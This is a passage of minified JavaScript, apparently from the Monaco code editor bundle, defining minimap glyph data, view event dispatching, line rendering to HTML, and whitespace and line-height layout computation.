n.MinimapCharRenderer(t,e)}return o};var r=[0,0,0,0,0,0,0,0,39,14,39,14,14,5,29,10,96,96,29,29,0,0,0,0,49,113,195,214,227,166,135,42,40,29,194,38,75,148,197,187,145,0,160,61,75,143,2,183,138,58,163,6,177,223,197,227,38,13,11,4,0,0,0,0,10,54,52,8,62,4,71,122,73,2,19,40,10,50,155,36,79,70,145,121,7,5,0,0,2,1,36,12,204,166,16,5,0,0,0,0,1,0,154,34,0,0,0,0,96,83,0,0,0,0,0,0,0,0,46,34,0,82,2,56,53,3,146,0,146,119,152,132,152,131,145,119,170,42,15,42,15,42,172,194,131,132,0,139,80,28,227,143,159,135,15,118,11,126,171,144,20,124,88,106,217,196,0,106,189,92,168,43,5,130,164,133,130,115,183,65,134,120,141,141,170,196,2,106,31,32,105,2,145,130,116,114,132,135,138,140,138,113,147,137,81,183,129,94,0,0,21,16,4,3,46,34,0,0,45,34,1,0,160,49,0,0,43,143,203,23,1,76,0,0,38,28,131,96,38,28,0,0,168,31,29,191,98,0,118,139,5,113,45,13,37,6,97,115,161,179,204,105,223,224,83,52,111,100,184,186,120,132,212,145,180,139,174,161,212,182,104,162,131,0,131,0,104,161,219,120,110,116,110,116,219,120,207,154,163,40,147,22,207,154,202,159,161,47,145,23,111,0,139,154,144,30,144,135,139,187,110,110,168,161,150,145,110,110,185,162,43,16,43,16,185,162,73,129,0,110,0,110,191,87,149,149,236,48,195,91,146,149,146,0,146,0,146,0,187,173,200,201,222,215,172,147,95,95,193,97,224,129,159,206,97,192,155,139,153,115,153,115,156,140,189,158,123,136,190,64,111,0,155,139,153,115,153,114,156,241,197,148,150,152,170,116,110,157,156,128,169,14,13,159,158,149,212,189,43,16,43,16,43,16,148,110,148,110,147,109,182,151,133,121,106,118,114,103,89,66,94,94,211,188,205,207,139,168,151,152,87,76,101,79,151,152,130,156,125,116,47,29,43,16,169,228,11,103,120,6,230,176,55,49,55,6,55,6,193,102,92,0,71,0,13,30,0,147,63,43,12,43,12,43,142,152,71,53,61,61,0,0,0,0,0,0,0,0,0,0,158,146,25,2,0,0,0,0,0,0,0,0,107,130,170,194,176,188,109,0,203,159,113,111,202,158,0,0,135,135,114,0,136,135,0,109,187,190,148,126,177,187,0,0,149,130,218,105,169,135,37,113,146,113,49,13,49,13,0,0,178,195,147,114,255,255,109,0,193,149,110,109,109,109,12,15,125,41,33,41,144,188,1,6,75,53,10,53,210,161,110,0,152,148,210,60,110,156,213,5,63,5,63,5,45,111,0,0,232,172,190,168,190,169,0,0,190,144,109,109,109,109,0,0,168,140,148,111,168,140,0,0,200,151,113,110,255,158,0,0,184,188,147,139,186,255,0,0,122,130,111,0,109,0,0,0,132,69,109,93,110,136,51,5,205,103,61,6,47,106,0,0,110,109,110,122,155,179,0,0,132,120,113,114,84,63,0,0,124,108,202,189,160,174,0,0,144,142,79,57,159,146,0,0,138,138,119,117,255,69,0,0,97,198,47,38,208,84,23,112,41,14,157,7,121,192,35,11,35,11,35,11,160,61,129,9,40,19,20,139,236,44,0,0,15,3,97,93,0,0],s=[0,0,23,12,53,0,130,127,58,149,67,77,72,198,13,0,25,51,25,49,94,2,8,64,0,24,0,21,0,9,19,27,126,126,51,80,72,105,87,98,73,93,106,85,111,123,87,30,116,126,123,110,4,16,9,28,21,53,8,62,23,52,73,21,132,183,78,142,168,175,70,70,128,128,123,110,125,43,100,139,125,119,78,78,54,77,139,139,33,87,201,117,162,149,130,130,138,60,130,172,149,127,95,98,95,25,118,135,110,85,147,175,105,110,121,30,101,113,34,68,20,26,34,68,56,0,0,44,3,0,27,175,80,133,31,66,85,147,32,150,90,25,45,230,77,101,36,83,22,84,71,118,44,44,52,172,38,101,35,130,40,197,43,197,29,26,23,103,67,44,25,129,29,85,27,177,33,97,32,145,33,77,38,96,20,55,36,95,2,22]}),define(d[216],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n,i){this.configuration=e,this.theme=t,this.model=n,this.viewLayout=n.viewLayout,this.privateViewEventBus=i}return e.prototype.addEventHandler=function(e){this.privateViewEventBus.addEventHandler(e)},e.prototype.removeEventHandler=function(e){this.privateViewEventBus.removeEventHandler(e)},e}();t.ViewContext=n}),define(d[217],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e){this._eventHandlerGateKeeper=e,this._eventHandlers=[],this._eventQueue=null,this._isConsumingQueue=!1}return e.prototype.addEventHandler=function(e){for(var t=0,n=this._eventHandlers.length;t<n;t++)this._eventHandlers[t]===e&&console.warn(\"Detected duplicate listener in ViewEventDispatcher\",e);this._eventHandlers.push(e)},e.prototype.removeEventHandler=function(e){for(var t=0;t<this._eventHandlers.length;t++)if(this._eventHandlers[t]===e){this._eventHandlers.splice(t,1);break}},e.prototype.emit=function(e){this._eventQueue?this._eventQueue.push(e):this._eventQueue=[e],this._isConsumingQueue||this.consumeQueue()},e.prototype.emitMany=function(e){this._eventQueue?this._eventQueue=this._eventQueue.concat(e):this._eventQueue=e,this._isConsumingQueue||this.consumeQueue()},e.prototype.consumeQueue=function(){var e=this;this._eventHandlerGateKeeper(function(){try{e._isConsumingQueue=!0,e._doConsumeQueue()}finally{e._isConsumingQueue=!1}})},e.prototype._doConsumeQueue=function(){for(;this._eventQueue;){var e=this._eventQueue;this._eventQueue=null;for(var t=this._eventHandlers.slice(0),n=0,i=t.length;n<i;n++)t[n].handleEvents(e)}},e}();t.ViewEventDispatcher=n}),define(d[57],h([1,0,10,3]),function(e,t,n,i){\"use strict\";function o(e,t){try{e(t)}catch(e){n.onUnexpectedError(e)}}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.ViewConfigurationChanged=1]=\"ViewConfigurationChanged\",e[e.ViewCursorStateChanged=2]=\"ViewCursorStateChanged\",e[e.ViewDecorationsChanged=3]=\"ViewDecorationsChanged\",e[e.ViewFlushed=4]=\"ViewFlushed\",e[e.ViewFocusChanged=5]=\"ViewFocusChanged\",e[e.ViewLineMappingChanged=6]=\"ViewLineMappingChanged\",e[e.ViewLinesChanged=7]=\"ViewLinesChanged\",e[e.ViewLinesDeleted=8]=\"ViewLinesDeleted\",e[e.ViewLinesInserted=9]=\"ViewLinesInserted\",e[e.ViewRevealRangeRequest=10]=\"ViewRevealRangeRequest\",e[e.ViewScrollChanged=11]=\"ViewScrollChanged\",e[e.ViewTokensChanged=12]=\"ViewTokensChanged\",e[e.ViewTokensColorsChanged=13]=\"ViewTokensColorsChanged\",e[e.ViewZonesChanged=14]=\"ViewZonesChanged\",e[e.ViewThemeChanged=15]=\"ViewThemeChanged\"}(t.ViewEventType||(t.ViewEventType={}));var r=function(){return function(e){this.type=1,this.canUseLayerHinting=e.canUseLayerHinting,this.pixelRatio=e.pixelRatio,this.editorClassName=e.editorClassName,this.lineHeight=e.lineHeight,this.readOnly=e.readOnly,this.accessibilitySupport=e.accessibilitySupport,this.emptySelectionClipboard=e.emptySelectionClipboard,this.layoutInfo=e.layoutInfo,this.fontInfo=e.fontInfo,this.viewInfo=e.viewInfo,this.wrappingInfo=e.wrappingInfo}}();t.ViewConfigurationChangedEvent=r;var s=function(){return function(e,t,n){this.type=2,this.selections=e,this.isInEditableRange=t,this.screenReaderMessage=n}}();t.ViewCursorStateChangedEvent=s;var a=function(){return function(){this.type=3}}();t.ViewDecorationsChangedEvent=a;var u=function(){return function(){this.type=4}}();t.ViewFlushedEvent=u;var l=function(){return function(e){this.type=5,this.isFocused=e}}();t.ViewFocusChangedEvent=l;var c=function(){return function(){this.type=6}}();t.ViewLineMappingChangedEvent=c;var d=function(){return function(e,t){this.type=7,this.fromLineNumber=e,this.toLineNumber=t}}();t.ViewLinesChangedEvent=d;var h=function(){return function(e,t){this.type=8,this.fromLineNumber=e,this.toLineNumber=t}}();t.ViewLinesDeletedEvent=h;var p=function(){return function(e,t){this.type=9,this.fromLineNumber=e,this.toLineNumber=t}}();t.ViewLinesInsertedEvent=p;!function(e){e[e.Simple=0]=\"Simple\",e[e.Center=1]=\"Center\",e[e.CenterIfOutsideViewport=2]=\"CenterIfOutsideViewport\",e[e.Top=3]=\"Top\",e[e.Bottom=4]=\"Bottom\"}(t.VerticalRevealType||(t.VerticalRevealType={}));var g=function(){return function(e,t,n){this.type=10,this.range=e,this.verticalType=t,this.revealHorizontal=n}}();t.ViewRevealRangeRequestEvent=g;var m=function(){return function(e){this.type=11,this.scrollWidth=e.scrollWidth,this.scrollLeft=e.scrollLeft,this.scrollHeight=e.scrollHeight,this.scrollTop=e.scrollTop,this.scrollWidthChanged=e.scrollWidthChanged,this.scrollLeftChanged=e.scrollLeftChanged,this.scrollHeightChanged=e.scrollHeightChanged,this.scrollTopChanged=e.scrollTopChanged}}();t.ViewScrollChangedEvent=m;var v=function(){return function(e){this.type=12,this.ranges=e}}();t.ViewTokensChangedEvent=v;var _=function(){return function(){this.type=15}}();t.ViewThemeChangedEvent=_;var y=function(){return function(){this.type=13}}();t.ViewTokensColorsChangedEvent=y;var C=function(){return function(){this.type=14}}();t.ViewZonesChangedEvent=C;var b=function(e){function t(){var t=e.call(this)||this;return t._listeners=[],t}return f(t,e),t.prototype.dispose=function(){this._listeners=[],e.prototype.dispose.call(this)},t.prototype._emit=function(e){for(var t=this._listeners.slice(0),n=0,i=t.length;n<i;n++)o(t[n],e)},t.prototype.addEventListener=function(e){var t=this;return this._listeners.push(e),{dispose:function(){for(var n=t._listeners,i=0,o=n.length;i<o;i++)if(n[i]===e){n.splice(i,1);break}}}},t}(i.Disposable);t.ViewEventEmitter=b}),define(d[138],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n,i){this.startColumn=e,this.endColumn=t,this.className=n,this.insertsBeforeOrAfter=i}return e._equals=function(e,t){return e.startColumn===t.startColumn&&e.endColumn===t.endColumn&&e.className===t.className&&e.insertsBeforeOrAfter===t.insertsBeforeOrAfter},e.equalsArr=function(t,n){var i=t.length;if(i!==n.length)return!1;for(var o=0;o<i;o++)if(!e._equals(t[o],n[o]))return!1;return!0},e.filter=function(t,n,i,o){if(0===t.length)return[];for(var r=[],s=0,a=0,u=t.length;a<u;a++){var l=t[a],c=l.range;if(!(c.endLineNumber<n||c.startLineNumber>n)&&!c.isEmpty()){var d=c.startLineNumber===n?c.startColumn:i,h=c.endLineNumber===n?c.endColumn:o;h<=1||(r[s++]=new e(d,h,l.inlineClassName,l.insertsBeforeOrAfter))}}return r},e.compare=function(e,t){return e.startColumn===t.startColumn?e.endColumn===t.endColumn?e.className<t.className?-1:e.className>t.className?1:0:e.endColumn-t.endColumn:e.startColumn-t.startColumn},e}();t.LineDecoration=n;var i=function(){return function(e,t,n){this.startOffset=e,this.endOffset=t,this.className=n}}();t.DecorationSegment=i;var o=function(){function e(){this.stopOffsets=[],this.classNames=[],this.count=0}return e.prototype.consumeLowerThan=function(e,t,n){for(;this.count>0&&this.stopOffsets[0]<e;){for(var o=0;o+1<this.count&&this.stopOffsets[o]===this.stopOffsets[o+1];)o++;n.push(new i(t,this.stopOffsets[o],this.classNames.join(\" \"))),t=this.stopOffsets[o]+1,this.stopOffsets.splice(0,o+1),this.classNames.splice(0,o+1),this.count-=o+1}return this.count>0&&t<e&&(n.push(new i(t,e-1,this.classNames.join(\" \"))),t=e),t},e.prototype.insert=function(e,t){if(0===this.count||this.stopOffsets[this.count-1]<=e)this.stopOffsets.push(e),this.classNames.push(t);else for(var n=0;n<this.count;n++)if(this.stopOffsets[n]>=e){this.stopOffsets.splice(n,0,e),this.classNames.splice(n,0,t);break}this.count++},e}(),r=function(){function e(){}return e.normalize=function(e){if(0===e.length)return[];for(var t=[],n=new o,i=0,r=0,s=e.length;r<s;r++){var a=e[r],u=a.startColumn-1,l=a.endColumn-2;i=n.consumeLowerThan(u,i,t),0===n.count&&(i=u),n.insert(l,a.className)}return n.consumeLowerThan(1073741824,i,t),t},e}();t.LineDecorationsNormalizer=r}),define(d[106],h([1,0,90,138,9]),function(e,t,n,i,o){\"use strict\";function r(e){var t,n,i=e.useMonospaceOptimizations,r=e.lineContent;-1!==e.stopRenderingLineAfter&&e.stopRenderingLineAfter<r.length?(t=!0,n=e.stopRenderingLineAfter):(t=!1,n=r.length);var c=s(e.lineTokens,e.fauxIndentLength,n);2!==e.renderWhitespace&&1!==e.renderWhitespace||(c=u(r,n,c,e.fauxIndentLength,e.tabSize,i,1===e.renderWhitespace));var d=!1;if(e.lineDecorations.length>0){for(var h=0,p=e.lineDecorations.length;h<p;h++)if(e.lineDecorations[h].insertsBeforeOrAfter){d=!0;break}c=l(r,n,c,e.lineDecorations)}var f=!1;return e.mightContainRTL&&(f=o.containsRTL(r)),f||e.fontLigatures||(c=a(r,c)),new m(i,r,n,t,c,d,e.tabSize,f,e.spaceWidth,e.renderWhitespace,e.renderControlCharacters)}function s(e,t,n){var i=[],o=0;t>0&&(i[o++]=new d(t,\"\"));for(var r=0,s=e.length;r<s;r++){var a=e[r],u=a.endIndex;if(!(u<=t)){var l=a.getType();if(u>=n){i[o++]=new d(n,l);break}i[o++]=new d(u,l)}}return i}function a(e,t){for(var n=0,i=[],r=0,s=0,a=t.length;s<a;s++){var u=t[s],l=u.endIndex,c=l-n;if(c>50){for(var h=u.type,p=Math.ceil(c/50),f=1;f<p;f++){var g=n+50*f,m=e.charCodeAt(g-1);o.isHighSurrogate(m)&&g--,i[r++]=new d(g,h)}i[r++]=new d(l,h)}else i[r++]=u;n=l}return i}function u(e,t,n,i,r,s,a){var u,l=[],c=0,h=0,p=n[h].type,f=n[h].endIndex,g=o.firstNonWhitespaceIndex(e);-1===g?(g=t,u=t):u=o.lastNonWhitespaceIndex(e);for(var m=0,v=0;v<i;v++)9===(y=e.charCodeAt(v))?m=r:m++;m%=r;for(var _=!1,v=i;v<t;v++){var y=e.charCodeAt(v),C=void 0;if(v<g||v>u)C=!0;else if(9===y)C=!0;else if(32===y)if(a)if(_)C=!0;else{var b=v+1<t?e.charCodeAt(v+1):0;C=32===b||9===b}else C=!0;else C=!1;_?(!C||!s&&m>=r)&&(l[c++]=new d(v,\"vs-whitespace\"),m%=r):(v===f||C&&v>i)&&(l[c++]=new d(v,p),m%=r),9===y?m=r:m++,_=C,v===f&&(p=n[++h].type,f=n[h].endIndex)}return l[c++]=_?new d(t,\"vs-whitespace\"):new d(t,p),l}function l(e,t,n,o){o.sort(i.LineDecoration.compare);for(var r=i.LineDecorationsNormalizer.normalize(o),s=r.length,a=0,u=[],l=0,c=0,h=0,p=n.length;h<p;h++){for(var f=n[h],g=f.endIndex,m=f.type;a<s&&r[a].startOffset<g;){var v=r[a];if(v.startOffset>c&&(c=v.startOffset,u[l++]=new d(c,m)),!(v.endOffset+1<=g)){c=g,u[l++]=new d(c,m+\" \"+v.className);break}c=v.endOffset+1,u[l++]=new d(c,m+\" \"+v.className),a++}g>c&&(c=g,u[l++]=new d(c,m))}return u}function c(e){for(var t=e.fontIsMonospace,n=e.containsForeignElements,i=e.lineContent,o=e.len,r=e.isOverflowing,s=e.parts,a=e.tabSize,u=e.containsRTL,l=e.spaceWidth,c=e.renderWhitespace,d=e.renderControlCharacters,h=new p(o+1,s.length),g=0,m=0,v=0,_=\"<span>\",y=0,C=s.length;y<C;y++){var b=s[y],w=b.endIndex,S=b.type;if(v=0,0!==c&&S.indexOf(\"vs-whitespace\")>=0){for(var E=0,L=\"\";g<w;g++){if(h.setPartData(g,y,v),9===(x=i.charCodeAt(g)))for(m+=(N=a-(g+m)%a)-1,v+=N-1,N>0&&(L+=\"&rarr;\",E++,N--);N>0;)L+=\"&nbsp;\",E++,N--;else L+=\"&middot;\",E++;v++}h.setPartLength(y,E),_+=t||n?'<span class=\"'+S+'\">'+L+\"</span>\":'<span class=\"'+S+'\" style=\"width:'+l*E+'px\">'+L+\"</span>\"}else{for(var E=0,L=\"\";g<w;g++){h.setPartData(g,y,v);var x=i.charCodeAt(g);switch(x){case 9:var N=a-(g+m)%a;for(m+=N-1,v+=N-1;N>0;)L+=\"&nbsp;\",E++,N--;break;case 32:L+=\"&nbsp;\",E++;break;case 60:L+=\"&lt;\",E++;break;case 62:L+=\"&gt;\",E++;break;case 38:L+=\"&amp;\",E++;break;case 0:L+=\"&#00;\",E++;break;case 65279:case 8232:L+=\"�\",E++;break;case 13:L+=\"&#8203\",E++;break;default:d&&x<32?(L+=String.fromCharCode(9216+x),E++):(L+=String.fromCharCode(x),E++)}v++}h.setPartLength(y,E),_+=u?'<span dir=\"ltr\" class=\"'+S+'\">'+L+\"</span>\":'<span class=\"'+S+'\">'+L+\"</span>\"}}return h.setPartData(o,s.length-1,v),r&&(_+=\"<span>&hellip;</span>\"),_+=\"</span>\",new f(h,_,u,n)}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.None=0]=\"None\",e[e.Boundary=1]=\"Boundary\",e[e.All=2]=\"All\"}(t.RenderWhitespace||(t.RenderWhitespace={}));var d=function(){return function(e,t){this.endIndex=e,this.type=t}}(),h=function(){function e(e,t,n,i,o,r,s,a,u,l,c,d){this.useMonospaceOptimizations=e,this.lineContent=t,this.mightContainRTL=n,this.fauxIndentLength=i,this.lineTokens=o,this.lineDecorations=r,this.tabSize=s,this.spaceWidth=a,this.stopRenderingLineAfter=u,this.renderWhitespace=\"all\"===l?2:\"boundary\"===l?1:0,this.renderControlCharacters=c,this.fontLigatures=d}return e.prototype.equals=function(e){return this.useMonospaceOptimizations===e.useMonospaceOptimizations&&this.lineContent===e.lineContent&&this.mightContainRTL===e.mightContainRTL&&this.fauxIndentLength===e.fauxIndentLength&&this.tabSize===e.tabSize&&this.spaceWidth===e.spaceWidth&&this.stopRenderingLineAfter===e.stopRenderingLineAfter&&this.renderWhitespace===e.renderWhitespace&&this.renderControlCharacters===e.renderControlCharacters&&this.fontLigatures===e.fontLigatures&&i.LineDecoration.equalsArr(this.lineDecorations,e.lineDecorations)&&n.ViewLineToken.equalsArr(this.lineTokens,e.lineTokens)},e}();t.RenderLineInput=h;!function(e){e[e.PART_INDEX_MASK=4294901760]=\"PART_INDEX_MASK\",e[e.CHAR_INDEX_MASK=65535]=\"CHAR_INDEX_MASK\",e[e.CHAR_INDEX_OFFSET=0]=\"CHAR_INDEX_OFFSET\",e[e.PART_INDEX_OFFSET=16]=\"PART_INDEX_OFFSET\"}(t.CharacterMappingConstants||(t.CharacterMappingConstants={}));var p=function(){function e(e,t){this.length=e,this._data=new Uint32Array(this.length),this._partLengths=new Uint16Array(t)}return e.getPartIndex=function(e){return(4294901760&e)>>>16},e.getCharIndex=function(e){return(65535&e)>>>0},e.prototype.setPartData=function(e,t,n){var i=(t<<16|n<<0)>>>0;this._data[e]=i},e.prototype.setPartLength=function(e,t){this._partLengths[e]=t},e.prototype.getPartLengths=function(){return this._partLengths},e.prototype.charOffsetToPartData=function(e){return 0===this.length?0:e<0?this._data[0]:e>=this.length?this._data[this.length-1]:this._data[e]},e.prototype.partDataToCharOffset=function(t,n,i){if(0===this.length)return 0;for(var o=(t<<16|i<<0)>>>0,r=0,s=this.length-1;r+1<s;){var a=r+s>>>1,u=this._data[a];if(u===o)return a;u>o?s=a:r=a}if(r===s)return r;var l=this._data[r],c=this._data[s];if(l===o)return r;if(c===o)return s;var d=e.getPartIndex(l);return i-e.getCharIndex(l)<=(d!==e.getPartIndex(c)?n:e.getCharIndex(c))-i?r:s},e}();t.CharacterMapping=p;var f=function(){return function(e,t,n,i){this.characterMapping=e,this.html=t,this.containsRTL=n,this.containsForeignElements=i}}();t.RenderLineOutput=f,t.renderViewLine=function(e){if(0===e.lineContent.length){var t=!1,n=\"<span><span>&nbsp;</span></span>\";if(e.lineDecorations.length>0){for(var i=[],o=0,s=e.lineDecorations.length;o<s;o++)e.lineDecorations[o].insertsBeforeOrAfter&&(i[o]=e.lineDecorations[o].className,t=!0);t&&(n='<span><span class=\"'+i.join(\" \")+'\">&nbsp;</span></span>')}return new f(new p(0,0),n,!1,t)}return c(r(e))};var g,m=function(){return function(e,t,n,i,o,r,s,a,u,l,c){this.fontIsMonospace=e,this.lineContent=t,this.len=n,this.isOverflowing=i,this.parts=o,this.containsForeignElements=r,this.tabSize=s,this.containsRTL=a,this.spaceWidth=u,this.renderWhitespace=l,this.renderControlCharacters=c}}();!function(e){e[e.LongToken=50]=\"LongToken\"}(g||(g={}))}),define(d[221],h([1,0,2]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,i,o){this.selections=e,this.startLineNumber=0|t.startLineNumber,this.endLineNumber=0|t.endLineNumber,this.relativeVerticalOffset=t.relativeVerticalOffset,this.bigNumbersDelta=0|t.bigNumbersDelta,this.whitespaceViewportData=i,this._model=o,this.visibleRange=new n.Range(t.startLineNumber,this._model.getLineMinColumn(t.startLineNumber),t.endLineNumber,this._model.getLineMaxColumn(t.endLineNumber))}return e.prototype.getViewLineRenderingData=function(e){return this._model.getViewLineRenderingData(this.visibleRange,e)},e.prototype.getDecorationsInViewport=function(){return this._model.getDecorationsInViewport(this.visibleRange)},e}();t.ViewportData=i}),define(d[222],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(){this._heights=[],this._ids=[],this._afterLineNumbers=[],this._ordinals=[],this._prefixSum=[],this._prefixSumValidIndex=-1,this._whitespaceId2Index={},this._lastWhitespaceId=0}return e.findInsertionIndex=function(e,t,n,i){for(var o=0,r=e.length;o<r;){var s=o+r>>>1;t===e[s]?i<n[s]?r=s:o=s+1:t<e[s]?r=s:o=s+1}return o},e.prototype.insertWhitespace=function(t,n,i){t|=0,n|=0,i|=0;var o=++this._lastWhitespaceId,r=e.findInsertionIndex(this._afterLineNumbers,t,this._ordinals,n);return this._insertWhitespaceAtIndex(o,r,t,n,i),o},e.prototype._insertWhitespaceAtIndex=function(e,t,n,i,o){e|=0,t|=0,n|=0,i|=0,o|=0,this._heights.splice(t,0,o),this._ids.splice(t,0,e),this._afterLineNumbers.splice(t,0,n),this._ordinals.splice(t,0,i),this._prefixSum.splice(t,0,0);for(var r=Object.keys(this._whitespaceId2Index),s=0,a=r.length;s<a;s++){var u=r[s],l=this._whitespaceId2Index[u];l>=t&&(this._whitespaceId2Index[u]=l+1)}this._whitespaceId2Index[e.toString()]=t,this._prefixSumValidIndex=Math.min(this._prefixSumValidIndex,t-1)},e.prototype.changeWhitespace=function(e,t,n){e|=0,t|=0,n|=0;var i=!1;return i=this.changeWhitespaceHeight(e,n)||i,i=this.changeWhitespaceAfterLineNumber(e,t)||i},e.prototype.changeWhitespaceHeight=function(e,t){t|=0;var n=(e|=0).toString();if(this._whitespaceId2Index.hasOwnProperty(n)){var i=this._whitespaceId2Index[n];if(this._heights[i]!==t)return this._heights[i]=t,this._prefixSumValidIndex=Math.min(this._prefixSumValidIndex,i-1),!0}return!1},e.prototype.changeWhitespaceAfterLineNumber=function(t,n){n|=0;var i=(t|=0).toString();if(this._whitespaceId2Index.hasOwnProperty(i)){var o=this._whitespaceId2Index[i];if(this._afterLineNumbers[o]!==n){var r=this._ordinals[o],s=this._heights[o];this.removeWhitespace(t);var a=e.findInsertionIndex(this._afterLineNumbers,n,this._ordinals,r);return this._insertWhitespaceAtIndex(t,a,n,r,s),!0}}return!1},e.prototype.removeWhitespace=function(e){var t=(e|=0).toString();if(this._whitespaceId2Index.hasOwnProperty(t)){var n=this._whitespaceId2Index[t];return delete this._whitespaceId2Index[t],this._removeWhitespaceAtIndex(n),!0}return!1},e.prototype._removeWhitespaceAtIndex=function(e){e|=0,this._heights.splice(e,1),this._ids.splice(e,1),this._afterLineNumbers.splice(e,1),this._ordinals.splice(e,1),this._prefixSum.splice(e,1),this._prefixSumValidIndex=Math.min(this._prefixSumValidIndex,e-1);for(var t=Object.keys(this._whitespaceId2Index),n=0,i=t.length;n<i;n++){var o=t[n],r=this._whitespaceId2Index[o];r>=e&&(this._whitespaceId2Index[o]=r-1)}},e.prototype.onLinesDeleted=function(e,t){e|=0,t|=0;for(var n=0,i=this._afterLineNumbers.length;n<i;n++){var o=this._afterLineNumbers[n];e<=o&&o<=t?this._afterLineNumbers[n]=e-1:o>t&&(this._afterLineNumbers[n]-=t-e+1)}},e.prototype.onLinesInserted=function(e,t){e|=0,t|=0;for(var n=0,i=this._afterLineNumbers.length;n<i;n++)e<=this._afterLineNumbers[n]&&(this._afterLineNumbers[n]+=t-e+1)},e.prototype.getTotalHeight=function(){return 0===this._heights.length?0:this.getAccumulatedHeight(this._heights.length-1)},e.prototype.getAccumulatedHeight=function(e){e|=0;var t=Math.max(0,this._prefixSumValidIndex+1);0===t&&(this._prefixSum[0]=this._heights[0],t++);for(var n=t;n<=e;n++)this._prefixSum[n]=this._prefixSum[n-1]+this._heights[n];return this._prefixSumValidIndex=Math.max(this._prefixSumValidIndex,e),this._prefixSum[e]},e.prototype.getAccumulatedHeightBeforeLineNumber=function(e){e|=0;var t=this._findLastWhitespaceBeforeLineNumber(e);return-1===t?0:this.getAccumulatedHeight(t)},e.prototype._findLastWhitespaceBeforeLineNumber=function(e){e|=0;for(var t=this._afterLineNumbers,n=0,i=t.length-1;n<=i;){var o=n+((i-n|0)/2|0)|0;if(t[o]<e){if(o+1>=t.length||t[o+1]>=e)return o;n=o+1|0}else i=o-1|0}return-1},e.prototype._findFirstWhitespaceAfterLineNumber=function(e){e|=0;var t=this._findLastWhitespaceBeforeLineNumber(e)+1;return t<this._heights.length?t:-1},e.prototype.getFirstWhitespaceIndexAfterLineNumber=function(e){return e|=0,this._findFirstWhitespaceAfterLineNumber(e)},e.prototype.getCount=function(){return this._heights.length},e.prototype.getAfterLineNumberForWhitespaceIndex=function(e){return e|=0,this._afterLineNumbers[e]},e.prototype.getIdForWhitespaceIndex=function(e){return e|=0,this._ids[e]},e.prototype.getHeightForWhitespaceIndex=function(e){return e|=0,this._heights[e]},e.prototype.getWhitespaces=function(e){e|=0;for(var t=[],n=0;n<this._heights.length;n++)t.push({id:this._ids[n],afterLineNumber:this._afterLineNumbers[n],heightInLines:this._heights[n]/e});return t},e}();t.WhitespaceComputer=n}),define(d[223],h([1,0,222]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){this._lineCount=e,this._lineHeight=t,this._whitespaces=new n.WhitespaceComputer}return e.prototype.setLineHeight=function(e){this._lineHeight=e},e.prototype.onFlushed=function(e){this._lineCount=e},e.prototype.insertWhitespace=function(e,t,n){return this._whitespaces.insertWhitespace(e,t,n)},e.prototype.changeWhitespace=function(e,t,n){return this._whitespaces.changeWhitespace(e,t,n)},e.prototype.removeWhitespace=function(e){return this._whitespaces.removeWhitespace(e)},e.prototype.onLinesDeleted=function(e,t){this._lineCount-=t-e+1,this._whitespaces.onLinesDeleted(e,t)},e.prototype.onLinesInserted=function(e,t){this._lineCount+=t-e+1,this._whitespaces.onLinesInserted(e,t)},e.prototype.getLinesTotalHeight=function(){return this._lineHeight*this._lineCount+this._whitespaces.getTotalHeight()},e.prototype.getVerticalOffsetForLineNumber=function(e){return((e|=0)>1?this._lineHeight*(e-1):0)+this._whitespaces.getAccumulatedHeightBeforeLineNumber(e)},e.prototype.getWhitespaceAccumulatedHeightBeforeLineNumber=function(e){return this._whitespaces.getAccumulatedHeightBeforeLineNumber(e)},e.prototype.hasWhitespace=function(){return this._whitespaces.getCount()>0},e.prototype.isAfterLines=function(e){return e>this.getLinesTotalHeight()},e.prototype.getLineNumberAtOrAfterVerticalOffset=function(e){if((e|=0)<0)return 1;for(var t=0|this._lineCount,n=this._lineHeight,i=1,o=t;i<o;){var r=(i+o)/2|0,s=0|this.getVerticalOffsetForLineNumber(r);if(e>=s+n)i=r+1;else{if(e>=s)return r;o=r}}return i>t?t:i},e.prototype.getLinesViewportData=function(e,t){e|=0,t|=0;var n,i,o=this._lineHeight,r=0|this.getLineNumberAtOrAfterVerticalOffset(e),s=0|this.getVerticalOffsetForLineNumber(r),a=0|this._lineCount,u=0|this._whitespaces.getFirstWhitespaceIndexAfterLineNumber(r),l=0|this._whitespaces.getCount();-1===u?(u=l,i=a+1,n=0):(i=0|this._whitespaces.getAfterLineNumberForWhitespaceIndex(u),n=0|this._whitespaces.getHeightForWhitespaceIndex(u));var c=s,d=c,h=0;s>=5e5&&(h=5e5*Math.floor(s/5e5),d-=h=Math.floor(h/o)*o);for(var p=[],f=e+(t-e)/2,g=-1,m=r;m<=a;m++){if(-1===g){var v=c,_=c+o;(v<=f&&f<_||v>f)&&(g=m)}for(c+=o,p[m-r]=d,d+=o;i===m;)d+=n,c+=n,++u>=l?i=a+1:(i=0|this._whitespaces.getAfterLineNumberForWhitespaceIndex(u),n=0|this._whitespaces.getHeightForWhitespaceIndex(u));if(c>=t){a=m;break}}-1===g&&(g=a);var y=0|this.getVerticalOffsetForLineNumber(a),C=r,b=a;return C<b&&s<e&&C++,C<b&&y+o>t&&b--,{bigNumbersDelta:h,startLineNumber:r,endLineNumber:a,relativeVerticalOffset:p,centeredLineNumber:g,completelyVisibleStartLineNumber:C,completelyVisibleEndLineNumber:b}},e.prototype.getVerticalOffsetForWhitespaceIndex=function(e){e|=0;var t,n=this._whitespaces.getAfterLineNumberForWhitespaceIndex(e);t=n>=1?this._lineHeight*n:0;var i;return i=e>0?this._whitespaces.getAccumulatedHeight(e-1):0,t+i},e.prototype.getWhitespaceIndexAtOrAfterVerticallOffset=function(e){e|=0;var 